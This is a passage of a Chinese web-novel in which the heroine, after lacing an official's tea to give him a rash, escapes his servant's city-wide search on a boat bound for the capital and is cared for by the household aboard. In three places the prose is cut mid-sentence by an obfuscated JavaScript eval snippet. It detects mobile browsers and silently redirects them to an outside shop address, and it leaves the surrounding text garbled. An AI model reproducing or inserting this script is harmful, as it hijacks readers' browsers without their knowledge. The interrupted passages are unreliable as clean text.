大夫诊了半日，说是过敏之症——吃错了东西，或是沾了什么不该沾的，无性命之忧，就是有点不太好见人。他问主子今日吃了什么，主子靠在床头，脸色苍白，眉头紧锁，想了半日，咬牙憋出三个字： “去抓她。” 他愣了愣，随即明白过来。 好一个黑心的小娘子。 待吩咐人守好主子，他就去了三洞村。 早已空无一人。 他转身出了屋，在村子里转了一圈，问了几户早起的人家。有人说，看见她天不亮就往村口去了，上了安婶的牛车。有人说，听见她说要去县衙当差。 当什么差？分明是要跑。 他立刻往县城赶。天还没亮，路上一个人都没有，他走得飞快，心里只有一个念头——得在她出城之前截住她。 他脑子飞快地转着。她要去哪儿？她会找谁帮忙？这县城里，能帮她办路引的，只有一个人—— 孔大财。 他转身就往孔大财家跑。 可惜来得晚了。 良平转身推开孔大财的门。 孔大财正在屋里数银子，见门被猛地推开，一个冷面年轻人闯了进来，吓得手一抖，银子滚了一地，脸色瞬间煞白：“你、你是谁？竟敢私闯民宅！我可是县衙户房的掌案！” 良平看着他，面无表情：“方才那女子，找你办了什么？” 孔大财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341499|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他的眼神吓得魂飞魄散，张了张嘴，还想狡辩，可对上良平那双冰冷的、带着杀意的眼睛，所有的话都堵在了喉咙里，一个字也说不出来，只能哆哆嗦嗦地交代：“……路、路引。去句州的路引。她给了我银子，求我帮她办的……” 良平的眉头，骤然皱起，他不再多言，转身就走，留下孔大财瘫坐在地上，看着那一地银子，欲哭无泪，心底只有一个念头——完了，这下闯大祸了。 良平出了巷子，往街口望了望，已经看不见秦式微的身影，他咬了咬牙，立刻抓了个准备上工的衙役：“快，去禀报陆大人，说那人私办了去句州的路引，如今往西门方向去了！” 衙役虽不解，但应了一声，转身就往县衙方向飞奔而去，脚步飞快。 他自己则立刻往西门方向追去，心底暗忖，定要把秦娘子抓回来，否则，主子定要大怒。 方才在孔大财那儿耽搁了片刻，天已大亮，街上的人渐渐多了起来，小贩的吆喝声，行人的说话声，交织在一起，热闹非凡。 秦式微混在人流里，低着头，看似往西门走，实则走了几步，便拐进了旁边一条小巷，七拐八绕，又迅速折向东——句州在西北，走官道要出西门，可她压根没打算去句州，那不过是她用来迷惑陆闻涉的障眼法。 她只想先躲一阵子，陆闻涉是郡上的通判，不可能一直待在这小县城里，等他走了，她再另做打算，总之，离他越远越好。 巷子窄而深，两边是高高的土墙，墙头上爬着枯藤，风吹过，枯藤摇曳，发出沙沙的声响。她走得飞快，脚步声在巷子里回响，一声一声，心逐渐稳下来。 出了巷子，是一条稍宽的街，街口有个卖炊饼的摊子，热气腾腾的，几个妇人正围着买，吵吵嚷嚷的，正好掩人耳目。秦式微进了个茶馆，还没等到茶上来，忽然听见外头传来一阵急促的、整齐的脚步声，由远及近，带着一股肃杀之气。 不是一个人，是许多人。 一队衙役，手持刀棍，从街那头飞奔而来，杀气腾腾，将整条街道都堵得水泄不通。为首的，正是本该去西门的良平，他站在街口，目光四下扫视。 秦式微心头一跳，迅速收回目光，低下头，直接出了茶馆后门，躲进旁边一条更窄、更偏僻的巷子里，背紧紧贴着冰冷的土墙，屏住呼吸，连大气都不敢喘。 她听见外头传来良平的声音，不高不低，却带着不容置喙，清清楚楚地落进每个人的耳朵里：“奉陆大人命，搜抓逃犯！凡有可疑女子，一律拿下，不得有误！” 逃犯? 多大仇多大怨啊? 她前脚刚走，他后脚就追来了，竟还假借抓逃犯的名义，满城搜捕她。这法子，当真是又快又狠，名正言顺，让她插翅难飞。 她心里头飞快地盘算着，西门、北门，定然都被他派人守住了，东门和南门，想必也布下了天罗地网，她如今，就是瓮中之鳖。 可越是这样，越不能慌。 她深吸一口气，贴着墙，一步一步往巷子深处挪。这条巷子极窄，只容一人通过，两边是高墙，没有岔路。她走了几十步，忽然听见前头传来脚步声。 她猛地停住，屏住呼吸，侧耳细听。 是靴子踩在青石板上的声音。 一下，一下，不紧不慢。 秦式微的心跳，几乎停了一拍。 她慢慢抬起头，往巷子那头望去。 11. 转折 “良平公子，陆大人唤您回县衙一趟。” 忽然有衙役喊道，气喘吁吁，显然是匆匆跑来的。 秦式微背贴着土墙，连呼吸都停了，只觉如闻喜讯。 那脚步声骤然停住，就在几步之外。 然后，她听见良平开口，调子有了起伏：“好。” 脚步声响起。 不是往外走，而是往她这边——一步，两步—— 秦式微掐了掐手心。 可那脚步声只走了两步，便停住了。她听见他低低的声音，吩咐道：“你带着人，西门、北门、东门，都给我守死了。一只苍蝇也别放出去。” “是。” 脚步声终于往巷口去了。一声一声，渐渐远了。 秦式微贴在墙上，一动不动，细细喘气。她听着那脚步声越来越远，听着巷口传来低低的说话声，听着那说话声也远了。 她还是没有动。 这边良平走得很快。 他心里却在飞快地转着。 昨儿个主子说去抓人时，还提醒他：“她心眼不少，万事要小心。” 他当时心里不以为然。一个乡下丫头，能有多少心眼？结果一夜跑下来，他真是佩服主子的远见，因而他并未贸然去西门，而是派了人去西门守着，自己则带着人在城内搜。 而如今主子忽然唤他回去，必是有要事。 他没有犹豫，脚步更快了些。 秦式微在巷子里等了很久。 巷子里空荡荡的，只有风声。 确认无人后，她长长地出了一口气，整了整衣裳，从巷子里走出来，脚步稳稳的，脸上没有半分慌张。 街上的人比方才更多了。那队衙役还在，正挨家挨户地搜。她低着头，混在人流里，往反方向走——不是往东，也不是往西，而是往南。 她要去西门。 不是出城门，是去河边。 溪还乡，溪还乡，这名儿是怎么来的？还不就是因为那条溪？溪水从西边来，穿城而过，往东流去。河上往来的客商不少，有运货的，有载人的，有往上游去的，有往下游走的。 陆路走不通，还有水路。 她走得快，却不显慌张，混在人群里，像一滴水融进河里。 到了西门河边，她心里一沉。 河边比她想的更热闹。码头边上停着七八条船，有大有小，有商船有客船。可每条船边上，都站着三两个衙役，手里拿着画像，挨个盘问上船的客人。 她站在远处，看了片刻，心里飞快地盘算着。 硬闯是不行的。可要是不闯，等会儿搜到这里，她就是瓮中之鳖。 她咬了咬牙，往码头边上走。 入目第一条船是条货船，船上堆满了麻袋，几个苦力正往上搬货。船主是个黑瘦的中年汉子，正站在船头吆喝。秦式微走上前，福了福身，压低了声音道：“这位大哥，敢问这船往哪儿去？” 那船主回头看了她一眼，上下打量，三角眼里带着几分警惕：“句州。怎么了？” 秦式微心头一喜，面上却不显，只低声道：“大哥，我想搭个船，往句州去。我有路引，正经的路引，不是假的。您行行好，带我一段，我给您船钱。” 那船主又看了她一眼，忽然冷笑一声：“你瞧瞧那边。”他往码头边上努了努嘴，“官府的人在那儿盯着呢，说是抓逃犯，但凡上船的，都得查验。你这会儿要上船，不是给我找麻烦？走走走，别连累我。” 秦式微还想说什么，他已经转过身去，不再理她。 她没就此放弃，转身往第二条船走。 第二条是条客船，比货船干净些，船头坐着个老婆婆，正择菜。秦式微上前问，老婆婆倒和气，可话还没说完，船舱里出来个中年妇人，一把将老婆婆拉回去，瞪了秦式微一眼：“不搭客，赶紧走！” 第三条，第四条，第五条。 不是说不搭客，就是说不敢惹麻烦。有个船主倒是动了心，可一听说她要往句州去，再看看码头边上的衙役，目光充满怀疑。 秦式微站在码头边上，看着那些越来越近的衙役，手心沁出了汗。 她咬了咬牙，把目光投向码头上最大的一条船。 那船和别的船不一样。船身宽大，漆着青灰色的漆，桅杆高高竖起，挂着崭新的帆。船头上站着个年轻人，约莫十七八岁，穿着件青灰色的袍子，料子看着就不便宜，腰间还系着块玉佩，在日头底下闪着光。 他看着不像船主，倒像是哪家的小厮。 秦式微走上前，福了福身：“这位小哥，敢问这船往何处去？” 那年轻人回头看她，目光在她脸上顿了顿，带着几分打量，却没有那些船主的不耐烦：“往京师去。娘子有事？” 秦式微心头微微一跳，面上却不动声色，只垂下眼，声音里带了几分凄楚：“公子，我想搭个船。不拘往哪儿去，只要能离开这儿就行。我……我爹要把我卖了，我实在没法子，只能跑。我句州有远亲，本想往句州去，可那些船主都不敢搭我。求公子行行好，带我一段，不拘往哪儿去都行，京城也好，我京城也有远亲。” 她说着，抬起眼，眼底带着泪光，又飞快地垂下眼去，心里对乱葬岗的亲爹说了句抱歉。 那年轻人看着她，眼里露出几分同情。他沉默了一瞬，道：“娘子且稍等，我去问问我家主人。” 他说着，转身往艉楼走去。秦式微站在船头，看着他的背影，心里七上八下。她听见身后传来衙役的呼喝声，越来越近。 她不敢回头，只盯着那艉楼的门。 不多时，那年轻人出来了，脸上带着笑，冲她点了点头：“姑娘，上船吧。我家主人答应了。” 秦式微心里一松，几乎要软倒在地。她深吸一口气，稳住心神，冲那年轻人福了福身：“多谢小哥，敢问小哥尊姓大名？” 那年轻人笑道：“我姓周，单名一个安字。娘子叫我周安便是。快上船吧，别耽搁了。” 他说着，冲船舱里唤了一声：“方妈妈，来带这位娘子进去安置。” 船舱里出来个仆妇，四十来岁，穿着青灰色的褙子，头发梳得一丝不乱，看着就是个老成稳重的。她走到秦式微跟前，上下打量了一眼，明明生人上船，她却没多少惊讶，点了点头：“娘子随我来。” 秦式微跟着她往船舱里走。刚踏上船板，身后忽然传来一阵急促的脚步声。 她心里一紧，余光往后一扫——是良平。 他带着几个衙役，正快步往码头这边走来。他的目光在码头上扫视着，一张船一张船地看过去。 秦式微心头狂跳，脚下却不敢停，只低着头，往方妈妈身后躲了躲。 不过良平似乎并不是为寻她而来，而是同周安说起话。 周安的声音响起，带着几分惊讶：“良平？你怎么在这儿？陆大人呢？” “陆大人在县衙。”良平道，“公子这是……要回京？” “是啊，在扬州待了些日子，该回去了。”周安笑道，“怎么，你这急匆匆的，是有什么事？” 秦式微站在船舱门口，背对着他们，一动不动。 “抓个人。”良平道，“一个女子，从县衙逃出来的。公子这边，可有见过？” 秦式微的心，提到了嗓子眼。 周安笑道：“女子？这船上，就一个做饭的方妈妈，一个伺候的丫鬟，都是跟了主子几年的老人。你要不要上来瞧瞧？” 良平沉默了一瞬，道：“不必了。公子的人，自然是信得过的。既然公子要回京，那我就不耽搁了。公子一路顺风。” “替我家公子多谢你家陆大人。”周安笑道。 脚步声响起，渐渐远了。 秦式微站在船舱门口，一动不动，直到那脚步声彻底消失在喧闹里，她才敢慢慢转过头。 码头上，良平的背影已经远了。 周安正站在船头，看着她，脸上带着笑。那笑容里有几分了然，却没有多问什么，只冲她点了点头：“娘子进去歇着吧。等开了船，就没事了。” 秦式微福了福身，跟着方妈妈进了船舱。 船舱里比她想得宽敞，收拾得干干净净。方妈妈领着她往里头走，经过几间舱房，推开一扇门，道：“娘子就住这儿吧。简陋了些，娘子别嫌弃。” 秦式微看了看，屋子不大，却收拾得齐整，一张床，一张桌，一个柜子，窗户半开着，能看见外头的河水。她心里暗暗惊讶——这船果然不是寻常的商船。舱房虽小，却处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344591|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处透着讲究，床上的被褥是细布的，桌上的茶具是青瓷的，连窗棂都雕着花。 她跟着方妈妈往外走，去用饭。经过艉楼时，她回头看了一眼。门关着，什么也看不见。 “娘子别看。”方妈妈低声道，“那是我们主人的地方。主人喜静，不爱人打扰。” 秦式微点点头，收回目光，问：“妈妈，你们是从哪儿来的？” “从扬州。”秦妈妈道，“主人姓张，在扬州住了些日子，如今要回京了。途径这溪头乡，停一日，采买些东西。这不，明日一早就开船。” 秦式微心里微微一动。 扬州，京城。 这船的主人，是什么来头？ 她想起方才周安和良平说话时的语气——熟稔的，随意的，像是旧相识。周安称陆闻涉为“陆大人”，良平称这位船主人为“公子”。能让陆闻涉的长随这般客气对待的，只怕不是寻常人家。 她没有再问，只低头吃饭。 夜里，秦式微躺在舱房里，听着外头的水声。 左边传来方妈妈平稳的呼吸声，一下一下的，她已经睡熟了。可秦式微睡不着，睁着眼睛，看着头顶的舱板。 月光从窗缝里漏进来，在地上投下一道细细的光。水波拍打着船身，发出轻柔的声响，一下一下的，像是在哄人入睡。 她轻轻起身，披上外衣，推开门，走到船舷边。 夜风吹过来，带着河水的腥气，还有岸边的草木香。远处的溪头乡，已经成了模糊的一片黑影，几点灯火在夜色里明明灭灭的。 她站在那儿，看着那片渐渐远去的灯火，心里忽然涌起一阵说不清的惆怅。 本来，她还以为能在那儿好好待下去的。 三洞村虽小，虽穷，却有她娘的坟，有那间土屋，有那些虽不亲近却也算不得坏的乡亲。她本想着，熬过这一年，等及笄了，立个女户，再招个赘，就那么平平淡淡地过一辈子。 可结果呢？ 就因为出了个陆闻涉。 她想起那人的脸，那双深邃难测的眼睛，那似笑非笑的神情，心里头那股恶气又涌上来。 可转念一想，他如今怕是也不好过。 她嘴角微微弯了弯。 那点子，是她从县衙里那些小丫鬟嘴里套出来的。有一回，几个小丫鬟凑在一处说话，她在一旁泡茶，耳朵却没闲着。 “你听说没有？陆大人沐浴，不许咱们放花瓣。” “可不是嘛，良平公子特意吩咐的，说第一回便罢了。” “啧啧，大户人家的规矩就是多。” 她当时听着，又想到良平曾对自己道陆闻涉不喜花茶，尤其是时令花茶。 如今三月，桃花最甚。 后来，她心里便有了计较。 那日她泡茶时，特意用茶具滚了一遍桃花水，用量极少，少到几乎察觉不出来。绝无性命之忧，但能让他好几天见不得人。 她本想着，他若是起了疹，这几日便没心思来纠缠她。她就能多几日筹谋，慢慢想办法。 谁知道他动作那么快，直接派了良平去村里，当着那么多人的面，坏了她名声。 她被这突如其来的变故打得措手不及，只得连夜逃跑，匆忙行事。 如今倒好，阴差阳错，搭上了去京师的船。 京师。 她想起这两个字，心里头又是一阵惆怅。 也不是什么好地方。 可如今，她也没有别的路了。 她站在船舷边，看着那片渐渐远去的灯火，心里头五味杂陈。风吹过来，吹起她的衣角，吹乱她的发丝。 就在这时，她忽然听见身后传来轻微的声响。 她猛地回头。 艉楼的门开了。 一个人影从里头走出来，站在甲板上。 月色很淡，那人没有点灯，看不清脸，只隐约看得出是个男子，身形修长，站在那儿，望着远处的夜色。 那人似乎没有看见她，只静静地站着。 夜风吹过，吹动他的衣袍，那身影在月色里，显得格外清冷。 秦式微看了他一眼，没有出声，转身悄悄回了舱房。 门轻轻关上。 外头，水声依旧。 12. 细心 秦式微囫囵睡了一觉，精神松活了一些，身子的反应却来了。 她是被一阵翻涌的恶心搅醒的。迷迷糊糊睁开眼，舱顶的木纹在眼前晃着，一荡一荡的，像是活的。她盯着看了片刻，才反应过来——晃的不是舱顶，是她，是这条船。 胃里又一阵翻涌。 她猛地坐起来，扑到床边的小几上，却什么也吐不出来，只干呕了几声，呕得眼眶发酸，额头上的汗一颗一颗往外冒。她两世加起来，也没在水上漂过，只当坐船不过是晃晃悠悠的闲适，哪知道竟是这般滋味——心口像压了块石头，闷得喘不上气，胃里头更是翻江倒海，连带着四肢都软得像面条，根本起不来身。 她瘫回床上，闭上眼睛，心想自己真是祸不单行。好不容易从陆闻涉手里逃出来，好不容易搭上一条船，还没来得及松口气，就被这晕船折腾得去了半条命。若是就这么死在船上，倒真成了笑话。 正想着，舱门被轻轻叩了两下。 “娘子可醒了？” 是方妈妈的声音。 秦式微道：“……是，妈妈请进。” 门被推开，方妈妈端着一只粗瓷碗走进来，见她脸色惨白地瘫在床上，额上全是汗，连忙把碗放在小几上，几步走过来扶住她：“第一回坐船的人，十个里有九个要晕。来，先起来，把这碗药喝了。” 她扶着秦式微靠坐在床头，又把那碗药端过来。秦式微低头一看，黑漆漆的一碗，药汁浓稠得看不见底，一股苦涩的药味直冲脑门，方才压下去的恶心又翻上来。她偏过头，捂着嘴，缓了好一会儿才压下去。 “苦是苦了些，可管用。”方妈妈在床边坐下，把碗往她手里送，“我当初比你还厉害，吐得胆汁都出来了，喝了两副这个，就好了。快喝，凉了更苦。” 秦式微接过碗，闭着眼，一口气灌了下去。 那药苦得她整张脸都皱起来，从舌尖苦到嗓子眼，又苦到胃里，像是吞了一整根黄连。可说来也怪，药一入腹，那股翻涌的恶心竟真的压下去几分。她靠着床头，喘了几口气，觉得胸口那团闷气松了些。 方妈妈见她喝了药，又转身从门外端进来一只小碗，里头是半碗白粥，熬得稠稠的，米粒都开了花，上头浮着一层米油。“来，再喝点粥。空着肚子吃药，伤胃。” 秦式微接过粥碗，扒了两口。粥没什么味道，可温热软糯，咽下去的时候，胃里头暖烘烘的。她一口一口吃着，吃了小半碗，才放下碗，长长地出了一口气。 “好些了？”方妈妈问。 她点点头，嗓子还有些哑，却比方才强了些：“好多了。多谢妈妈。” 方妈妈接过碗，在床边坐着，絮絮叨叨道：“再喝上两副就好了，别急。原先我和阿平第一回跟着主人出门的时候，也是一样的毛病。我吐了整整两日，阿平比我强些，可也蔫了好几天。好在我们主人细心，出门前就备了这些专症药，给我们一人熬了一副，喝了就好。” 秦式微靠在床头，听着这话，心里微微一动。 “主人亲自熬的药？”她问。 方妈妈点头，脸上带着几分笑意：“可不是。你说，这世上哪有这样的主人？旁的府里，下人病了，能赏碗药就不错了，哪还指望主人亲手熬？” 秦式微听着，正想顺着说几句，胃里头那股恶心又涌上来一些，她皱了皱眉，捂着嘴。 方妈妈连忙道：“别多想了，先躺着。药效还没全上来，得等一会儿。我那儿还给你熬着粥，等会儿再喝一碗。你先歇着，别乱动。” 她扶着秦式微躺下，又只给小窗留了一条缝，说是透透气，却不让风直吹。端起碗筷，轻手轻脚地出去了。舱门关上，脚步声渐渐远了。 秦式微躺在床上，听着外头的水声。船身轻轻晃着，一荡一荡的，可比起方才，这晃动已经不那么让人难受了。药效慢慢上来，胸口的闷气一点一点散开。 她闭上眼睛，迷迷糊糊地想：那位张公子，不知是个什么样的人。听方妈妈说起来，倒像是书里头才有的那种温润君子，待人宽厚，处事体贴。这样的人，在这世上，怕是比白乌鸦还稀罕。 想着想着，她便睡沉了。 再睁眼时，外头的天色已经暗下来，舱里昏沉沉的，只有门缝里漏进来一线光。她躺了会儿，觉得胸口那股恶心劲儿散了不少，肚子倒有些饿了，便起身，顺着那线光往最西边去。 那是船上做饭的小舱间，平日里方妈妈生火煮饭的地方。门半开着，里头透出昏黄的灯光，还有一股淡淡的药香。 秦式微站在门口，看见方妈妈正坐在小火炉前，炉上坐着个小砂锅，咕嘟咕嘟冒着热气。旁边架子上放着个食盒，擦得干干净净。方妈妈又在一旁的小锅里搅着什么，动作不紧不慢，灶台上摆着几碟小菜，都是些清淡的——一碟酱瓜，一碟腌萝卜，一碗蒸蛋羹，瞧着就让人有胃口。 “方妈妈。”秦式微唤了一声。 方妈妈回过头，见她站在门口，连忙放下勺子，起身道：“娘子怎么来了？身子还没好利索呢，快回去躺着，这儿油烟重，别又熏着了。” 秦式微摇摇头，走进来，笑道：“躺了一整日，骨头都硬了。我来帮帮忙，活动活动。” “哪里用得着你？”方妈妈摆手，“歇着便是。你这晕船的毛病，最怕的就是动弹。我那会儿晕得比你还厉害，躺了三天才缓过来。快回去，快回去。” 秦式微没走，在旁边的小杌子上坐下来，顺手拿起灶台上一把青菜，帮着择。“我坐着不动便是。妈妈一个人忙活，我在旁边陪你说说话，总比一个人躺着强。” 方妈妈见她执意如此，也不好再劝，只叮嘱道：“那便坐着，别乱动。明日若是还晕，我再给你煎一副药。” 秦式微应了，低头择菜。青菜是嫩的，水灵灵的，掐一下能出水。她一根一根择着，手指沾了水珠，凉丝丝的。 方妈妈又回到炉前忙活，一边搅着锅里的汤，一边絮叨：“这粥是给你熬的，清淡些，养胃。你今儿个吐了一日，肠胃空着呢，不能吃油腻的，先喝两日粥，等缓过来了再添别的。” 秦式微听着，心里头暖暖的，应道：“多谢妈妈费心。” “谢什么？”方妈妈笑道，“出门在外，谁还没个难处？我上了岁数记性也不好，今儿个一早，主人特地提醒我，说你许是第一回坐船，怕是会晕。让我先把药煎上备着，等人醒了就送去。我这才赶着煎了一副，没成想就用上了。” 秦式微颇为讶异。 她想起今早那碗苦汤，黑漆漆的，看着唬人，喝下去却真管用。她原以为是船上常备的药，没想到是这位主人特意吩咐的。 “我跟了主人七年了。”方妈妈把汤盛出来，放在灶台上晾着，自己也搬了个小杌子坐下，一边择菜一边道，“七年前，我男人没了，儿子又不养我，把我赶出来。我一个老婆子，没处去，在街上要饭。是主人路过，见我可怜，收留了我。从那以后，我就跟着主人了。” “主人待下人好。”方妈妈又道，“从不打骂，逢年过节还有赏钱。我和阿平两个，虽是下人，可主人从没把我们当下人看。吃什么用什么，都不亏待。” 秦式微听着，安慰道：“妈妈好福气。” 方妈妈摆摆手：“什么福气不福气的，都是命。遇着好人了，就是福气。”她看了秦式微一眼，又道，“娘子这一路往京城去，若是寻着了远亲，也是福气。若是寻不着——” 她顿了顿，没有说下去，只叹了口气，又道：“不过娘子别怕。到了京城，若有什么难处，只管来找我们。主人虽说……可收留个把人，还是能做的。” 她刚说完，舱门口忽然传来一声唤。 “方妈妈。” 两人回头，看见周安站在舱门口，没有进来。他穿着件半旧的青衫，手里提着个食盒，脸上带着笑，冲方妈妈道：“主人让我来取饭。” “好了好了。”方妈妈起身，把灶台上几个碟子装进食盒，又盛了一碗汤，一并放进去，递给他，“给，这是今日的。稍后我过去收拾。” “好嘞。”周安接过食盒，应了一声，目光越过方妈妈，落在秦式微身上。他微微颔首，算是打了招呼，又道：“娘子好些了？主人说，若是还晕，让方妈妈再煎一副药，别硬撑着。” 秦式微起身，福了福：“好多了，多谢公子挂念。” 周安笑了笑，提着食盒转身走了。他的脚步声轻而稳，很快消失在船舷那头。 方妈妈把锅里的汤盛起来，放在舱内的小桌上，又舀了两碗晾着，招呼秦式微道：“来，吃饭。公子近日在写书，阿平要在旁边伺候笔墨，就我同你一道用饭。等会儿菜凉了，就不好吃了。” 秦式微应了，赶忙搬了两个小杌子过来，一左一右摆在桌边。 方妈妈坐下，又给她夹了一筷子蒸蛋羹，道：“多吃些，身子才好得快。” 两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348814|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用着饭，话匣子也打开了。 方妈妈絮絮叨叨说了不少——从扬州的风物说到京城的规矩，从这一路的见闻说到往后的打算。她说话慢悠悠的，带着几分老人的絮叨，却不让人烦，反倒听着安心。 “这水路，怕还要走上好几日。”方妈妈算了算，“明日若是到了叙山县，还得靠岸再采买些东西。这船上备的菜不多了，得补一补。再往后，便是连着几日的水路，中间不停了。” 秦式微听着，心里头有了计较。 叙山县。那是溪头乡往北的第一个大县，水路要走一日一夜。到了那儿，离溪头乡便远了，离京城也近了一步。 她想起昨日在码头边上，周安本是要去采买的，结果遇上自己这一遭，才又匆匆上了路。若是没有她耽搁那一下，他们昨日就该启程了。 她放下筷子，认真道：“方妈妈，这回多亏了张公子。若不是他收留，我如今还不知在哪儿呢。我自知如今无以为报，待日后有了着落，定要还这份恩情。” 方妈妈听她这么说，连忙摆手：“秦娘子莫要往心里去。不过是搭个船的事，哪用得着说什么还恩不还恩的？我们主人最是心善，路上遇着难处的人，能帮一把就帮一把。你这样说，倒叫我们不好意思了。” 她顿了顿，又道：“说起来，我们还不晓得娘子姓什么呢。这一日忙着照顾你，倒忘了问。” 秦式微笑了笑：“我姓秦。” “秦娘子。”方妈妈念了一遍，又问道，“秦娘子方才说，京城里有远亲？是哪一家？说不准我们主人还认得呢。” 秦式微心里微微一动，面上却不动声色。 她早就想好了说辞——半真半假，才不容易露馅。 “其实是我外祖家。”她垂下眼，声音低了几分，“当年我娘远嫁，从京城嫁到溪头乡，路途遥远，渐渐便没了音信。后来我娘亡故，我爹又那般，我实在没了法子，这才想着去京城投奔外祖家，也好逃了那魔窟。” 她说得含糊，却句句在理。一个没了娘、又要被爹卖了的孤女，去京城投奔素未谋面的外祖家——这故事虽可怜，却不算稀奇。 方妈妈听得心酸，眼圈都红了，拉着她的手道：“可怜的娘子，这一路受苦了。你放心，到了京城，总能寻着亲人的。老天爷不会亏待好人的。” 两人又说了一会儿话，把饭用完了。方妈妈收拾碗筷，秦式微帮着把灶台擦了一遍。 出了舱门，夜风迎面吹来，带着河水的凉意。秦式微站在船舷边，深深吸了一口气，觉得胸口那团闷气，终于散了大半。 方妈妈在身后道：“秦娘子，夜里凉，别站太久。早些回去歇着，明日若是好些了，我带你四处走走。” 秦式微应了，转身往回走。 走过艉楼时，她下意识抬头看了一眼。 门关着，里头透出一线昏黄的灯光，隐隐约约的。 她收回目光，放轻脚步，悄悄回了自己的舱房。 这一夜，秦式微睡得比前夜踏实些，想着今日的事。 不论是备药，煮粥，都可见这位主人的细微之处，如同春风化雨。 难得的是，还考虑到男女大防，女儿家的名声，从方妈妈说的那些话，不难听出，之前他们是一同用饭的。 她翻了个身，把被子裹紧了些。船身轻轻晃着，像摇篮。她想着，若是日后有机会，定要好生报答这份恩情。 第二日一早，秦式微是被粥香唤醒的。 方妈妈端了碗热粥进来，放在床头的小几上，笑道：“今日好些了？能起身不？” 秦式微坐起来，觉得头虽还有些昏，胸口却不闷了，便点点头：“好多了。多谢妈妈。” “那就好。”方妈妈把粥递给她，“趁热喝。主人说，今日若是好些，就不用再喝药了。那药苦得很，能不喝就不喝。” 秦式微接过碗，喝了一口。粥熬得稠稠的，米粒都开了花，入口即化，带着一股淡淡的清甜。 她一口一口喝着，忽然想起什么，问道：“妈妈，今日可要到叙山县？” 方妈妈点点头：“快了，午时前后就能到。主人说要在那儿停半日，采买些东西。秦娘子若是好些了，也下去走走？在船上闷了两日，该透透气了。” 秦式微想了想，点了点头。 到了叙山县，离溪头乡便远了。她该下去看看有无别的出路。 总不能真跟着他们去京师吧。 13. 采买 昨儿个那碗苦汤下肚，又睡了一整夜，秦式微今日头昏脑涨都去了个大概，只觉得神清气爽了不少，连带着舱外透进来的光都亮了几分。 方妈妈给她舀了碗粥，笑道：“到底是年轻，骨子好，好得也快。” 秦式微笑着应了，接过粥碗喝了一口。粥里添了红枣，熬得甜丝丝的，比昨日的白粥又香了几分。她问：“妈妈，今日可是要到叙山县了？” “可不是。”方妈妈絮叨着，“船夫说再有一个时辰就能靠岸。到了叙山县，咱们得下去采买些东西。这船上存粮不多了，再往下走，连着好几日的水路，中间可没地方停。” 秦式微点点头，心里头盘算着。叙山县是个大县，往来客商多，车马行也多。她那张路引是去句州的，若能在这儿寻着往句州去的车队，搭个伴走陆路，那就再好不过。 用过早食，她到甲板上透气。 晨风从水面上吹过来，带着凉丝丝的湿意。两岸的河房一幢挨着一幢，绿窗朱户，倒映在水里，微波推岸。往来船只渐渐多起来，有货船，有客船，还有几条小巧的画舫，船上隐约传来箫鼓之声，悠扬婉转，她曾在书里看过，这叙山人称小扬州，倒是不假。 正看着，周安从艉楼那边过来，站在甲板上望了望，回头道：“船夫说约摸要靠岸了。方妈妈，东西可收拾好了？” 方妈妈正从舱里出来，手里提着个篮子，里头放着些零碎物件。她走到甲板上，看着越发近的河岸，脸上露出几分犹豫，踌躇了片刻，终于开口：“要不然我不去了吧。主人独自在船上，我不放心。你们两个去采买，我在船上守着。” 周安摆摆手，宽慰道：“不必。主人今日也会离船，只不过不与我等同行。” 方妈妈听了这话，勉强放下心来，但还是提了一句：“那你跟主人一道，我和秦娘子去采买就行。主人身边没人伺候，我不放心。” 周安笑了笑：“无事，主人自有安排。咱们各办各的事，办完了在船边会合便是。” 说话间，船已渐渐靠近码头。 船夫站在船头，手里握着一根长长的竹篙，往水里探了探，试了试深浅。他弓着腰，竹篙在水底一点一点地探着，寻着了合适的位置，便用力往水里一插，借着那股劲儿，把船头往码头边上带，而另一人早早就站在船舷边，手里攥着碗口粗的缆绳，等船头靠得够近了，猛地将绳圈抛出去，稳稳地套在码头边的石桩上。他双手拽着绳子，一点一点地收紧，把船往岸边拉。 船身轻轻一震，靠稳了。 船夫放下跳板，周安先下了船，站在码头上回头望了一眼，伸手虚扶了一把。秦式微跟在后面，脚下稳稳的，几步便上了岸。她又转过身，扶着方妈妈下来。 码头上人来人往，热闹得很。挑担的小贩，扛货的脚夫，牵着骡马的商客，还有几个穿着绸衫的公子哥儿，摇着扇子，慢悠悠地走着。各种口音混杂在一起，嘈杂却鲜活。 周安领着她们往街市上去，边走边道：“先去采买吃食。” 叙山县的街市比溪头乡大了不知多少倍，青石板路铺得整整齐齐，两旁店铺林立，酒旗茶幡在风里飘着。周安熟门熟路地拐进一条巷子，巷子里全是干货铺子和米粮店。 